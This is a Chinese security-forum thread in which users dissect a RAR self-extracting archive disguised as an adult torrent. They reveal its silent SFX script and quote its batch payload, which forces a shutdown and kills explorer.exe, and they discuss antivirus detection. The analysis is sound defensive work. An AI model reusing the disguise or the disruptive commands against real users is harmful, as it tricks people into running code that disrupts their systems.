不小心运行了这个重启了

显示全部楼层 · 发表于 2012-8-18 22:41:28

studycpp 发表于 2012-8-18 22:37
多谢，我用ollydbg反编译看见调用函数比较恐怖
你是怎么破解出来的？

拖进 PEiD。

Nothing found [RAR SFX] *

用 RAR 解压顺便查看自解压脚本。

;下面的注释包含自解压脚本命令

Setup="(Dogma)淫語痴女見下し・辱め・寸止め中毒の女村上里沙.torrent.bat"
TempMode
Silent=1

记事本打开解压后的 bat，真相大白。

显示全部楼层 · 发表于 2012-8-18 22:57:38

金山未知，KSS过扫描。

显示全部楼层 · 发表于 2012-8-18 23:09:07

本帖最后由 Tomin2009 于 2012-8-18 23:11 编辑

@shutdown -s -t 20
@color b
@echo 施主，色即是空啊！！！阿弥陀佛.....
@pause
@taskkill /f /im explorer.exe

显示全部楼层 · 发表于 2012-8-18 23:18:08

只求1种安稳发表于 2012-8-18 22:22
介尼玛是你自己手贱了啊

虽然下载保护报毒
但是我用360杀毒4.0扫描不报

运行360卫士和360杀毒都没有拦截......在360沙盘运行的...

显示全部楼层 · 发表于 2012-8-18 23:33:52

360拦截

显示全部楼层 · 发表于 2012-8-19 00:00:13

zst470396853 发表于 2012-8-18 23:18
虽然下载保护报毒
但是我用360杀毒4.0扫描不报

那是误报了

显示全部楼层 · 发表于 2012-8-19 07:39:30

hx1997 发表于 2012-8-18 22:41
拖进 PEiD。

我认为直接在手机上查看更安全……

显示全部楼层 · 发表于 2012-8-19 08:50:36

@shutdown -s -t 20
@color b
@echo 施主，色即是空啊！！！阿弥陀佛.....
@pause
@taskkill /f /im explorer.exe

显示全部楼层 · 发表于 2012-8-19 09:05:46

XywCloud 发表于 2012-8-19 07:39
我认为直接在手机上查看更安全……

我的是 N70，没有十六进制编辑器。

显示全部楼层 · 发表于 2012-8-19 10:09:12

zst470396853 发表于 2012-8-18 23:18
虽然下载保护报毒
但是我用360杀毒4.0扫描不报

1、双击和下载保护的QVM优先级比扫描高。
2、入沙了之后主防就不干预了……

[可疑文件] 不小心运行了这个重启了